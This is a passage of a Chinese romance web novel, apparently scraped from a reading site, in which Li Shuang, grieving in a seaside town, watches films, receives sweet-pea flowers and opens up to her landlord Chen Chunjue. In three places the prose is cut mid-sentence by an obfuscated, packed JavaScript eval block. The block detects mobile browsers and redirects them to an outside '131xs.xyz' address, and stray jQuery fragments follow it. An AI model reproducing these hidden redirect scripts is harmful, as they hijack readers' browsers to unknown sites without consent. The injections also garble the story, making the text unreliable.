“来了。”没看电子屏,她急匆匆跑到院子里。
打开门一看,是陈春决,他脚边放着咖啡机的箱子,另一只手牵着啾啾。
他摸着啾啾的后脑勺,轻轻推了她一把,“啾啾,你不是有事和姐姐说吗?”
“姐姐,我下午想带朋友一起来看电影可以吗?”
李霜怕伤小孩的心,自然很快回答:“当然可以,你带谁都可以的。”
“好,谢谢姐姐,下午见。”啾啾走上台阶,抱抱李霜,随后转身跑着离开。
“慢点。”留在原地的两人异口同声,相视一笑。
李霜问:“怎么是你来送快递?”
“我正好也有,快递大哥送到我门口的时候,说他今天忙,让我帮忙。”
“哦哦,那快进来吧。”
陈春决松了口气,抓紧身后的双肩包包带,还未跟着她进屋,就听见程椰的声音。
“李霜!”
李霜停下脚步,看向巷子口,看程椰跑过来,大声问她:“怎么了,出什么事了?”
“我前男友又给我打电话了,他说想来找我,怎么办啊,怎么办!”
“你别着急。”
“你前男友找你的时候,你怎么处理的?”程椰撇嘴,叹气。
“我一句话没回过……”李霜瞥了眼一旁的陈春决,见他拎着咖啡机唇角上扬的模样,不解。
“要不,你进来和我说说?”
“好。”程椰这才注意到身旁的人,“大早上你来找小霜做什么?”
“我来送快递啊。”陈春决抬高箱子,示意。
程椰直接拿过来,“哦,送到了。我们俩还有女生的事聊,你先撤吧。”
“不是,我……”陈春决拧眉,他没有和李霜说上话,咖啡也没有尝到。
而且他还带了其他东西要给她。
“拜拜!”程椰直接把院门关上。
“……”
李霜并未跟程椰聊些来自于她的建议,只是听她讲前男友的事,在这过程中,两人把咖啡机拿出来装上,整理好后,把先前到的咖啡豆放进去。
没一会儿,咖啡的香味弥漫厨房。
“所以,我还是回北城一趟吧。”
“见到他没关系吗?”李霜终于喝到现磨咖啡,满足。
“得去一趟。”程椰把咖啡喝光,眼神坚毅,终于做出了伟大的决定,“我的手绘板还在他家,很贵的!”
“?”
李霜噗嗤笑出声,被咖啡呛到,咳嗽两声。
“你别笑,那是我工作上班后,买的第一个手绘板呢!要不是当初太着急,也不至于没搬完东西。后来觉得有点尴尬,不好意思开口,也不敢见他,结果半年过去了,好像是得解决了。”
“嗯,不要互相耽误。”
“小霜姐,你觉得我做得对吗?我是不是太自私了。”程椰趴在餐桌上,脸贴在冰凉的桌面,眼睛直愣愣地盯着咖啡杯冒出的热气。
“不会。”李霜站在对面,把杯子轻放在桌上,纤瘦的手摸上她的发顶,“不要对自己太苛刻。”
李霜一直认为,这个世界上的人都在改变,都有各自的道路,道路不同的人分开就好,不需要纠缠,尤其是爱情。
但认识十几年的好朋友,是例外。
程椰发呆片刻,回过神来问她:“到中午了吧,你中午吃什么?”
“你还不去开门?”
“反正都晚了,吃了饭再去书店也行。”
好随意,李霜喜欢,思考两秒,“吃小馄饨吧。”
“江奶奶家的?”
“嗯嗯,去不去?”李霜收起杯子,放在洗碗池里。
“去吧,我好久没吃了。”
两人简单收拾,走着去往馄饨店。吃过馄饨,陪程椰回书店时,想到下午啾啾要带朋友一起来看电影,她想去小卖部给小孩买点零食吃。
“你下午来看电影吗?”
“去也行,反正书店也没什么人,我把要发出去的书,整理好了就去找你们。”
与程椰告别后,李霜走到不远处的小卖部,买了两大包零食,走出门。
李霜单手抱着购物袋,另一袋较沉则用手拎着。没走几步,转过弯就遇见陈春决。
正午刚过,阳光浓烈,他的影子触碰到她的脚边。
李霜抬眸,被阳光晃了下,“你怎么在这?”
“怎么买了这么多。”陈春决迈大步走来,接过李霜胸前的袋子,想低身拿另一袋时,被李霜拦住。
“这袋我拿就行。”
陈春决往上拽了拽背包的背带,“行。我去朗哥那帮他卸货来着,刚结束,想看看你在不在书店。”
慢半步的李霜眯眼,他怎么还背着包,上午见面时也有,忍不住发问:“你包里有什么,怎么今天一直背着。”
“啊——就是可能会用到的,一些工具。”他空着的手抓了把头发,声线拔高。
李霜发觉,他总喜欢挠自己的头发,紧张时是,不自在时也是。
这次是因为什么?
还未思考出答案,抑或是说些什么逗他时,就来到了家门口。啾啾和几个小孩坐在台阶上,一看到李霜回来,都起来打招呼。
“小霜姐姐好,谢谢你请我们来看电影。”几个小孩还蛮整齐,啾啾笑着,仰着头。
“不客气。”李霜走过去开门,和他们打招呼,“怎么来这么早?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599529|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啾啾说:“因为迫不及待。”
“那就让阿诀哥哥给你们播动画片!”李霜回头,朝他眨眼睛,“阿诀哥哥,还不快点过来。”
她平日的声音像温水,难得俏皮一回,让陈春决怔住,心跳加快。
“阿诀哥哥,快进屋了。”啾啾抓着他的手,拉他进来。
跟随啾啾脚步进门的陈春决却在想,怎么不多叫几声。
加上啾啾一共六位小朋友,三个坐在沙发上,三个坐在地毯上,盯着满桌的零食,小嘴巴都震惊地张大。
陈春决则拖过墙角闲置的柜子,把投影仪放在上面,对准沙发前的墙面,研究着。
李霜倒了几杯橙汁,从厨房走过来,看到几个小孩局促地坐着,也不敢吃零食,轻笑:“啾啾,这些都可以吃的,你先带头吃呀。”
把橙汁塞到小朋友手里,她才去看陈春决的进展。
他弯腰查看投影仪的说明书,对着手机的视频软件连接设备,察觉到她的靠近时,才抬头。
第一次见面时毫无生机的眼睛,有了些波澜,声音也不沉闷,“陈春决,你快搞好了吗?”
李霜边问边凑过来,带过来一股清爽的桃子味,是他在网络上统一购入的产品,他熟悉极了。
一刹那,陈春决想把自己用的洗衣液也想要换成这个味道的。
哦,洗发露也要薰衣草味的。
“好了。”陈春决屏住呼吸。
“找到《疯狂动物城》了吗?”她又凑到手机屏幕前,发丝缠上他青筋显露的手臂。
小镇的初春,虽然气温不高,但在室内时,陈春决习惯脱掉卫衣外套,只穿了件黑色短袖。
痒意弥漫,他稍稍后退,“我找一下。”
并未花费太长时间,投影仪就出现了熟悉的电影开头,几位小朋友颇有气氛担当的潜力,哇哦几声,鼓掌几下,才乖乖看电影。
李霜也望向落下光影的墙面。
只有陈春决失了神。
《疯狂动物城》这部电影,李霜没有看过。爱好恐怖电影的她,并不怎么看动画电影,她在电影开始时,就坐在单人沙发上,陪着小朋友们一起观看。陈春决则搬来厨房的椅子,坐在她旁边。
电影开始没多久,程椰拉着田朗来了,两人坐在地毯上,程椰坐的地方就在李霜跟前。
李霜低头问她::“你怎么把朗哥骗过来的?”
“没有骗诶,他来书店喝茶,我说你们播《疯狂动物城》他就跟来了。”
李霜瞥了眼田朗,觉得好奇,或许这部电影对他有特殊意义,昨日在烤肉店,听到这部电影时,他的眼睛微微睁大了些,她注意到了这细微的变化。
电影播完后,田朗先离开,几位小朋友也礼貌告别。小朋友坐在玄关穿鞋时,啾啾抓了这李霜的手。
“怎么了,啾啾?”
“姐姐,我下次还可以来看吗?”
李霜不想让小孩失望,但也并不想让出自己的独处空间,思考两秒,回头问程椰:“程椰,下次可以带着投影仪去书店里看吗?”
“可以啊!非常可以!我的书店可太冷清了!”程椰跑过来,捏捏小孩们的脸,“快叫我椰子姐姐,我就答应你们。”
“椰子姐姐好!”
“呜呜,小可爱们,姐姐送你们回家!”程椰临走前,站在玄关问,“小霜,你一会做什么啊,要不要来书店找我?”
“我——”李霜偏头,看到陈春决正在关投影仪,听到程椰讲话,忍不住看过来,眼睛湿漉漉的,可怜巴巴。
方才看电影时,他有几次想叫李霜说话,都被程椰打断,几次下来,一个人气呼呼坐在厨房去了。
此时听到程椰又想把人喊走,忍不住在意地探过来,却被她捉住。
李霜笑:“我今天有点累了,明天去找你吧。”
“好!”程椰被拒绝也不沮丧,带着小朋友们离开。
门关上的那刻,房间回归寂静。
李霜走过来,看陈春决默默收拾桌上的垃圾:“你别收拾了,一会儿我来吧。”
“好吧,那我先走了……”声音都跟着没精打采的。
这只丧气小狗,莫名其妙的。
李霜歪头,“怎么要走?”
“你不是累了吗?”
“你不是有话要说?”李霜叹气,看到关闭的投影仪,抬眉,“要不要看《千与千寻》?”
11. 11
由于放电影的缘故,窗帘紧闭,只有缝隙溜进来些碎光。在昏暗的房间里,还未喝光的气泡水在玻璃杯里停留着气泡,滋啦作响。
陈春决站在沙发旁,手里拿着薯片袋,听了她的话,清澈的眸注视着她的身影,正色道:“你是真的想让我留下来?”
刚走到客厅的李霜,正想拿起垃圾桶,疑惑,抬头问:“为什么这么说?”
“因为你总是习惯先照顾其他人的感受。”陈春决赤脚踩在地毯上,把她一侧的垃圾桶拿起来,将包装袋扔进去。
李霜闻到他身上淡淡的清香,随着他弯腰的动作漫过来,像是花叶的味道。
她眉头紧皱:“有吗?”
“李霜,你是个很好的人。”陈春决站在她的眼前,似是想把她看透,“可是,我希望你能先为自己着想,把自己放在第一位。”
李霜内心骤然升起防御机制,声音克制,“那要怎么做?”
陈春决挑眉,声音清亮:“就——不想做什么就不做啊。不想见人就不见,不想说话就不说,我觉得你有时候把自己放得太低了。”
李霜内心震荡,“如果我现在不想见人,那你就会憋着话,直接离开吗?”
他乖乖点头,“你的想法最重要。”
李霜的内心有阵穿堂风经过,不停留,通透且柔和,她抓不住。
第一次有人和她说,你的想法最重要。
“那我想要做的事,是不是可以无条件去做。”李霜环臂,歪头看他,眼睛笑弯。
“对啊。”
“那我现在想和你看《千与千寻》。”
见她的目光坚定,“我立马去打开投影仪。”陈春决直接翻过沙发,走到投影仪旁边。
他打开投影仪,用手机连接设备,李霜看着他内心变得放松,她收起桌上的垃圾和纸杯,一边收拾,一边说,“虽然改变会很难,但我会试着把自己放在最前面的,想做的事会努力做,不想做的事就不做。”
“就像你上次和我说的,想睡大觉,我们就睡大觉,想做什么都好,只要开心。困难也没事,我可以陪你。”陈春决把电影投送到投影仪,长腿一迈,坐到沙发上,“现在我们来看电影!”
李霜拿橙汁的手一顿,坐在沙发边缘,回头把先前倒好的橙汁递给他,“你陪我?”
“啊,对啊!椰子、朗哥还有啾啾,我们都会陪你,青野镇不会让你白来的。”
“我需要这么多人陪?”李霜只是随口一问。
陈春决蹙眉,小声嘟哝:“怎么又呛我……”
“你说什么?”
“没什么,电影开始了,快看!”他伸手把李霜的脑袋掰正,示意她看电影,另一只手伸到沙发旁的背包,摸到后放到身侧。
“哦。”
在熟悉的龙标出现后,李霜看了几秒,看到熟悉的粉色的花出现在画面里,她想到叶幸然。
制作一本书的时间需要很长,而刚入行的小编辑很少有机会可以制作到自己喜欢的书。李霜等了入职过了几个月,等到了机会。她耗费了将近一年将书出版,上面有她的名字。
小小的名字,被标注在书上。
在出版社开过会,下班时已经是黄昏,夏季的风沉闷燥热,吹动李霜的头发,她站在公司门口,把头发挽起。
叶幸然在那时,踏着日落,捧着一束花出现,粉嫩的,像蝴蝶,随着她跑过来的动作,一颤一颤,几瓣花掉落,随着风吹远。
记忆是折磨人的,在此刻盯着电影画面,看到那束花时,心痛的程度并未减弱。
李霜到底该如何赎罪,向她最好的朋友。
只靠讲述吗,还是只靠她毫无用处的怀念,她得不到答案。
“李霜,李霜。”伴随着千寻奔跑的声响,陈春决轻拍她的肩膀。
她侧过头,眼睛湿润,视野模糊间,她竟看到一簇一簇的花出现在眼前。
陈春决绽放笑容,他把花塞进李霜的怀里,“这是香豌豆,和你好朋友送的一样吗?”
李霜的泪几乎要涌出,她咬牙点头,无法忍受的时刻,她撇嘴,伸手指向某只花束周边的绿叶,“这个是什么,怎么只有这束有?”
拙劣的方式去转移话题。
陈春决却不好意思地挠头,“被你看出来,这个是我包的,它有点香。那个老板说是尤加利叶。”
嗯,怪不得你今日身上有隐约的花叶味道。
“从北城带过来的?”
“是的,在北城买的。”陈春决不会说自己跑了多少家花店才买到这六束香豌豆的,他差些就要点空运订花了。
“为什么?”
“因为我上次惹你生气了,所以想要赔礼道歉,昨天就想给你的,我都怕它不新鲜了,还好现在没有太糟糕,不过包好小,都压扁了。”陈春诀伸出修长的手,去摆弄她怀里的花,变得更漂亮些。
李霜反驳:“我上次没有生气。”
陈春决沉声:“我知道你没有生气,你只是失望了。”
闻言,李霜在淡淡的花香里落泪,她与千寻的感受类似,千寻面对的是陌生的地方,而李霜现在面对的是陌生的情绪。
心脏像脆弱的气球,稍不慎就要爆开。
李霜微微收紧花束,透明的包装纸发出窸窣的声响,黑发被香豌豆花缠绕,粉色的蝶在她的发丝停留。
大颗眼泪落在花瓣上,沾湿蝴蝶的翅膀。
陈春决的笑容骤然消失,凑近去观察她的情绪,手指伸向她的脸颊,却又在半空停滞,“哭一会儿吧,一会儿再继续看电影,嗯?”
“继续看吧,我想把花插进水里。”
陈春决起身,沙发回弹,“你坐着看,我去拿东西装水。”
李霜回到电影里,眼角余光里的他,正在四处翻找花瓶,没一会,就找回来三个。
“先用这些。”他回来坐下。
“嗯。”李霜看电影的过程中,手也不停,把包装纸拆开,将花放进花瓶里,“谢谢你。”
“没事,你床头摆几个,厨房和洗手间都摆上,这样你每天都能看到漂亮的春天。”
她的房间出现一个春天,是陈春决给予的,温柔且体贴。
电影剧情缓慢进行,李霜把抱枕放在地毯上坐着,伸手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599530|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抚摸着花,把方才掉落在花瓣上的眼泪擦去。
她的声音平缓,在电影声下微小,但同坐在地毯上的陈春决听得清晰。
“刚刚电影开始的时候,千寻要去新学校上学呢。我和那位好朋友,哦对了,她叫叶幸然。”李霜侧头,对他轻轻一笑,“我小学三年级转过一次学,是因为当时我的班主任过节收礼,但我没有和妈妈说过要送礼,所以班主任总针对我,让我上课罚站了,或者让我多干值日,但这件事还是被我妈妈发现了。”
“我妈她也是老师,是很较真的性格,她跑到学校去吵,但连小学部的主任都向着我班主任,所以我妈妈一气之下,就要给我搬转学。我不想,她说你怎么这么胆小,怎么什么事都要忍。但我当时不懂,我只是哭。”
“就一路哭去了新学校,见到了叶幸然。你知道她是什么样的人吗?”
“什么样的?”
“是小女侠。那时候班里男生总喜欢欺负女生,放毛毛虫或者是小青蛙吓唬人,她有一回把毛毛虫直接塞到了男生的嘴里,把那个男生吓哭了。我不明白,我好像从一开始就不太明白,她怎么会和我做朋友。”
“你有问过她吗?”陈春决给她倒上橙汁,轻放在茶几上,蹭到香豌豆花,花瓣一颤抖。
“有。”
“她说什么?”
李霜内心一怔,她在心理咨询室都未有过这样舒适流畅的对话,但还是继续说下去。
“她说因为我转校来的那天,坐在她旁边,她说这些都是缘分。”
“这算什么理由。”陈春决笑出声。
“荒谬吧,我也觉得。可是她真的很信这些,她喜欢玩塔罗牌,也喜欢算命。但她说不能算太多,人生要自己掌控。你说她奇不奇怪,明明学的最好的就是物化生,却还看玄学。”
“这些都是生活乐趣了,总要算点什么才安心。现在网上还有一堆电子黄历的账号,每天都给大家算运势,甚至今天王者荣耀玩什么,都给算。”
李霜笑:“这么神奇?”
“对,我偶尔也刷。”陈春决看她的侧颜,盯着墙面的眼睛眨着,眼睫扑闪。消瘦白皙的脸,因有哭过的痕迹而泛红,耳朵上的绒毛在光影的照耀下,无比明显,她仍由碎发蹭到耳朵和下颌。“那你们俩就一直玩到现在?那都认识很久了。”
“嗯,小学,初中和高中,我们都在一个学校的,关系特别好,大学和工作也都在一个城市。现在都将近二十年了吧。”
纵使在心理咨询室讲过无数遍,但这次不同。李霜面对的不是陌生的心理医生,他们也并非所有人都有职业素养,会露出不耐烦的神情,也会冷冰冰地盯着她看。
好似在斥责她,为什么是她活下来一般。
可从未有人像现在这般,会与她聊叶幸然,聊些无聊的往事。
“那她怎么没和你一起来?”
李霜沉默半响说:“她是记者,工作很忙。”
“等有机会了,把她叫过来玩,陪陪你。”
“嗯,有机会就叫她来。”李霜盯着花,折起包装纸用线缠起来,节省空间,系扣扔进垃圾桶。
12. 12
李霜不是喜欢冒险的人,她从不将自己放置在悬崖边。如果世上有个按钮,只要按下去,人生中做的所有选择都会拥有安全的结局,不会偏离轨道,李霜会毫不犹豫地按下去。
她也不热爱旅行,不认为去往更多的地方,会让她有所好转,任何事都无法令人好转。但李霜从不认为这是一种悲观主义,她喜欢不起伏的人生,不过分喜悦,也不过分悲痛。
如果要形容,李霜想做一棵静默的树木最好,最适合她。
可是,人不可能掌控自己的人生,命运降临时,所有的期许都会被撕裂,像燃烧的纸张,缥缈如烟。
李霜从未想过,自己的好朋友会去世,也从未想过自己可以拎着行李箱来到偏远的海边小镇疗愈。
更未想过——
陈春决在她面前,来回摆摆手,李霜回过神,“买回来了?”
她托陈春决去江奶奶的店里帮忙买馄饨,因为今日清晨她就来到书店开门营业,还未吃饭。
帮人看书店是她从未做过的事,一时有些杂乱无章。
“嗯嗯,程椰真回北城了?见前男友去了?”
正在打包书籍的李霜,“嘶啦”一声将胶带扯出,把书籍外面的泡沫袋缠好,放进快递盒内,“嗯,她和前男友已经约了时间见面。”
程椰临走前,跑到李霜的门前,让她帮忙看下书店,交待几句就匆匆离开,赶去坐飞机。
“回几天?”陈春决走过来,将她打包好的快递盒放在小车上,等会快递员好收走,“你快点过来吃馄饨吧,不然都凉了。”
李霜从收银台上拿过湿巾,抽出一张,擦手坐下,“可能三四天吧,她没具体说。”
“所以,她就让你在这里看书店,她安排得还挺迅速。”陈春决也坐下,倒杯水放在她面前,“和之前一样正常营业?”
李霜摇头,“她说随便,我把要寄出去的书包好,其他想几点开几点关,都可以。”
他点点头,喝了杯水,“这周六小朋友不是要来书店看电影?”
“嗯,那天我会把投影仪拿过来。”李霜把小盒装的辣椒和醋倒进碗里,用勺子搅匀,“你今天做什么?”
“没什么事,下午镇里要开会。”陈春决接过小料盒,抛进垃圾桶。
“什么会?”
“就是旅游局的会,讨论一下青野镇的后续发展。”
李霜惊讶:“你也要去参加这个会?”不是才来一年。
“对,这里有一些外来的年轻人,都在这里开店,有的是为了创业,也有的是为了找个地方休息。但都是年轻力量,肯定要多关注的,而我和他们关系都挺好,所以就是去当个代表而已。”陈春决解释道,支着下巴看她吃馄饨。
李霜没再问其他,低头继续吃。
陈春决的视线并未移开,她被盯得有些发毛,回看过去,“你看什么?”
“就觉得你这几天精神挺好的。”他怕说错话,提了一句就回身去收拾包裹。
“你知道有句古话是怎么说的吗?”李霜吞了口馄饨。
“什么?”
“来都来了。”李霜尾音上扬,胃里很温暖,让她眯起眼睛。
她决定坦然面对未知的一切,不过分期待,但也不过分逃避,寻找到恰好的程度继续活下去。
“嗯,来都来了,那就要好好玩。”陈春决把小车推到门口,等快递员自己上门自取,他回头,“晚上我来找你,一起关门,然后去找米线吧,有家很好吃的店。”
“好,那我早点关门。”
陈春决离开后,李霜开始扫地拖地,擦拭书架,等打扫工作做完后,已经是午后,她的身体隐隐出汗,索性在前几天刚放好的地毯上躺下来。
程椰买的彩虹制造机悬挂在窗户上,七彩斑斓的光落在书店,迷幻又慵懒。
她竟在这样的时刻入睡,毫无负担的。
太阳一下子坠下去,坠到那山腰间,书店里进入朦胧的暗。海在远处跟着汹涌,浪涛声隐隐撞击着李霜的耳畔。
她猛然醒来,眼睛跌进一片暗色,身体有些僵硬,她缓慢眨眼睛,苏醒过来,感受到抱枕下的手机正震动不停。
李霜摸过手机,是陈春决打来的微信电话。
“喂,怎么了?”
“李霜,你还在书店吗?”
“嗯,怎么了,现在几点了?”李霜揉眼睛。
“刚过五点,今天有领导来,他们要逛镇子,我走不开,想请你帮个忙。”
“你说。”李霜起身,开免提,伸了个懒腰。
“新来了个住户,住你楼上,她本来要后天来,不知道为什么提前了,一会儿就到了,你帮我去接接她,行吗?”
“行,我去哪里接她?”
“就上次我接你的那个地儿,你接上她,然后和她介绍一下房间就行,密码还是4321。”陈春决在她挂电话前补充,“密码你要是忘记怎么改了,就等我回来,改完带你去吃米线。”
“知道了,我现在关门,去接住户。”
李霜在天将暗未暗时,关了书店门,走在小镇里空旷的小路上,踏过碎石子发出窸窸窣窣的声响,在安静的路上,显得格外响亮。
她远远地,就看到有个女生恰好从一辆车上下来。李霜在坡顶加快脚步下去接人。
远处的山覆盖在深蓝色的纱下,李霜迎着风,头发被风吹乱,她看着扶着行李箱朝这看过来的女生,嘴角轻轻上扬。
李霜突然想到陈春决来接她的那日,漫天的雪,跳跃的毛线帽,以及他那双明亮的眸。
这是否是这场冒险之旅的奖励。
舒展地,柔软地,把心脏晾在阳光下的感觉,让她整个人都轻盈起来。
李霜这刻承认,她与青野镇的气场很合,合到下辈子要做这里的一棵树。
“不好意思,我也是住户,你叫我李霜就行。房东他正在开会,我来带你去房间。”李霜笑着,轻轻看了眼这位住户,她在黑夜降临前,仍戴着双墨镜,利落的齐肩短发,肩上背着小提琴,“我帮你拿着行李箱吧。”
她拿着的行李箱不大,李霜接过来也感觉不太沉,拎着上坡没有难度。
“谢谢姐姐。”卓渔安跟上她的脚步,“你叫我小鱼就可以。”
“鱼儿的鱼吗?”
“嗯嗯。”
无言,李霜不擅长与陌生人交流。
如果陈春决在就好了。
李霜还未走到坡顶,被自己的想法吓到,身体稍微停顿片刻。风灌进袖口,她咬唇,深吸一口气,问:“你吃饭了吗?”
“这里能点外卖吗?”卓渔安抬眸,同时问道。
两人相顾一笑。
李霜把散落的头发挽至耳后,“可以点的,但可能配送时间你要看好,这里的店有些会很早就关门的。”
“谢谢你。我今天在飞机上吃光了,现在还不饿。”卓渔安将小提琴箱改成拎着,语气放松,“没事的,有就行。明天我要睡到自然醒,然后点个外卖吃!”
大抵是看起来就比自己小几岁,李霜见她刚到来就如此松弛,忍不住跟着笑。
很快到达两人的房子,两人走到院子,走到小楼侧边的楼梯,李霜还未上来过,把密码锁打开,开始研究改密码的方法,陈春决有发给她具体的操作过程。而卓渔安则在房间随便看看,四处看了一遍,便把小提琴拿出来,摸了一把,在桌上铺了层淡绿色的绒布,将它放下。
“可以了,你改好密码,我也就下去了,你有什么事喊我就行,明天房东可以会过来看一眼,有什么需要你就再和他说。”李霜让她修改密码
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599531|172010||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时,为了隐私,她偏头看向别处,看到那安静躺着的小提琴,突然萌发出一个想法,她歪头思考时,卓渔安已经改好密码起身。
或许是改密码不方便,她终于摘下墨镜,眼部有些红肿,并不严重,但她皮肤过分白皙,像是不怎么面对阳光的白色,所以那红肿显得格外吓人。
哭过。
李霜认出了她是谁,瞳孔一缩,掩盖住那短暂的疑惑与震惊,她点点头,“那我先下去了,你好好休息,记得锁好窗户哈。”
“嗯,谢谢你,小霜姐。”
出来时,天已陷入倾墨的黑,小镇亮起一串路灯,照亮地球的一隅。
半掩的院门,露出一个卷毛脑袋,陈春决看到楼梯上的李霜,伸出手打招呼。
她笑着走过去,“会开完了?”
“嗯嗯,辛苦你了,我请你吃米线。”陈春决扫了眼二楼开着灯的窗,“这住户好相处吗?”
“挺好的,怎么这样问?”李霜关上院门,两人脚步同频,走在静谧的小巷里。
“如果不好相处,你和她住一个院子的话,不舒服怎么办。”他的语气平淡,仿佛为她考虑是件再平常不过的事,“好相处就行,这样你也可以多交点朋友。”
陈春决身形挺拔,连灯光照耀下的影子都跟着狭长,隐约间,李霜看到他的影子在侧头偷瞄自己。
路灯下的飞虫不断冲撞着无法触摸的光。
李霜抬头,对上那双眼。
如果说李霜非要在意些什么,她最在意与自己交谈的人的眼睛。
出版社前辈们的眼睛充斥着浑浊与疲态,有些甚至夹杂些算计;刚到出版社的实习生的眼睛是干净的,几乎是跃跃欲试的;叶幸然的眼睛是善良与战斗力并存的,她能像鹰一般潜伏在草丛里寻找证据,也能在人群中忍着泪水看一场并不公平的判决。
而陈春决的眼睛,他的眼睛坦荡又温柔。
李霜最怕这样的眼神,紧盯着你看却没有压迫感,但会让人掉入更温柔的陷阱里,最不可原谅的是对方根本无意勾引你进入。
纯粹是她无法扛住这些瞬间。
“我很需要交朋友?”她双手在后背勾住,抓着自己的手腕,踢了踢地上的石子,石子掉入缝隙。
“你——”陈春决挠头,那被程椰抓过的卷毛又不耐烦翘起,“李霜,你为什么总是要反驳我。”
李霜一怔,握住手腕的手轻轻松开,留下轻微的红痕,“有吗?”
“有!就是忍不住呛我,让我觉得我的本意被误解了,我会有点摸不透,是不是哪里说的不对惹到你了……”
这几乎是李霜性格里的防御机制,陡然升起时她本人都无法察觉。
她低头不语。
陈春决弯腰,探身去看她的脸,猛地凑近让李霜吓一跳,踉跄一步,脚扭到要摔倒时,被他揽住腰。
李霜抬眸,清冽的气息将她包裹,他敛起眸,将她抚稳,手掌离开她的后腰,“没事吧,我不该那样说的,生气了?”
低头懊恼的模样,像失落小狗。
“没有,我刚刚在思考,好像确实是这样的。我以后会试着改改的,这个问题我之前没意识到,可能我的防御机制太强了。”
“有防御机制是好事。”他站在李霜前方,挡住眼前的一盏路灯,他的眼睛似篝火。
只是温暖,不用靠太近。
“但是你在我面前,可以稍微降低一下你的防御机制,李霜。”
“为什么?”李霜下意识皱眉。
而莽撞的人下秒就用手抚上她的眉峰,她的睫毛轻颤,却没有躲开。
陈春决的手指温热,将她紧皱的眉头按住,声音温和,接近哄人的语气:“李霜,你可以信任我,试着接受我的好意,我的关心,也试着不去否定你本身。”
13. 13
否定我本身。
李霜的心脏轰然炸开,“陈春决,你可能有点越界了。”她瞪了陈春决一眼,转身想离开。
陈春决的手还停在半空,来不及收回,直接上前拉住她,“我哪里说错了吗?如果说错了,你要告诉我,你别突然走开,我不想和上次一样闹别扭。”
李霜本想挣开他的手,直接回家,但回头却看到他委屈的表情,无处安放的真诚,兜头砸在她的心头。
明明是无意间她的自我防护机制再次发作,却让他承担。
竟然已经熟悉到无端让他承受负面情绪了吗?
李霜站定,白皙的脸泛起红晕,声音不似平常那般平淡,尖利着质问:“什么叫做我否定自己本身了,你很了解我,还是想拯救我吗?”
“我没有,我不是这个意思!”陈春决急得耳朵都泛红,不自知地捏紧她的手腕。
李霜被他捏得有些发疼,声音跟着陡然变虚:“那你是什么意思?”
“那我直说了,你不觉得每次你反驳的时候,其实是刻意与我保持距离吗,就好像你根本不需要关心,也根本不需要深入交流,你总想打马虎略过去,但你这样习惯了,你会下意识忽略自己的,也会觉得你本身并不配拥有吧。”陈春决停顿片刻,低眸看她情绪尚平稳才继续说下去。
“我说的‘别否定你本身’就是想让你别否定你本来的情绪,你要表达出来,就像现在,朝我发火,怎么样都好,不要憋着。”他的声音归于平静,似乎终于意识到自己的举动有所不妥,将手收回,瞥了眼她的手腕,幸好没有捏红。
破旧的路灯猛然一闪,在这个世界微不足道,却在李霜的心底翻起巨浪。
“陈春决,你怎么能——”
你怎么可以这样好。
“怎么了,想说什么?你不要话说一半,你在我面前,什么都能说,不用怕伤害到我。”陈春决安抚她,声音像是散发出能让人安定的镇定剂。
她收起不小心漏出的刺,眼底的防备早已褪去,“边走边说吧,我有点饿了。”
李霜侧过身,向前走。
她很少会在外人展露焦躁、不安、沮丧和失望这样的情绪,那些都是要向内吞下去的,她的垃圾桶是自己的身体。
陈春决已跟上来,他偷慢了半拍,与她的脚步同步踏出。
“小学的时候,有回考试我考得特别差,那时我特别害怕。我忐忑地回到家里,把试卷翻出来,想让我妈签字,她当时刚下学校的晚自习回家,正在批改学生的作业。
她看了一眼试卷之后,说了句话,她说低于九十分别找我签字。”李霜这些小事从不会和任何人说起,甚至叶幸然她也不会说这种废话,但此刻却滔滔不绝。
“然后我就去找了我爸,我爸他也是老师,他戴上眼镜,看到我的眼泪但是没说话,拿笔签了之后,和我说下次努力拿到更高分。”
“我发现他们和其他家长不一样,看到我流泪也不会安慰我,他们只要结果,情绪这种没必要的事情,只会给我造成麻烦。我在这之后,就不怎么在外人面前表露我的情绪了,而且我最讨厌的话就是你怎么了,心情不好吗,这类的话。”
“因为他的提问,并不会给予你帮助,对吗?”陈春决似乎能懂她的想法,望着她继续说道,“而且描述出来自己的情绪,也不一定会得到反馈,反而会更让人烦躁,陷入内耗。”
一针见血。
李霜哑声,她点点头,没有再说话。
拐过弯,是一条美食街,零散的店铺开着门,飘来混杂的食物味道。
陈春决仿佛随口一问,语气也不慎重,“那你讨厌他们吗?”
“我父母?”李霜正在看街上店铺的名称,各色的灯光,在小镇总算有些许人气,听到他这样问,有些意外。
“嗯。”
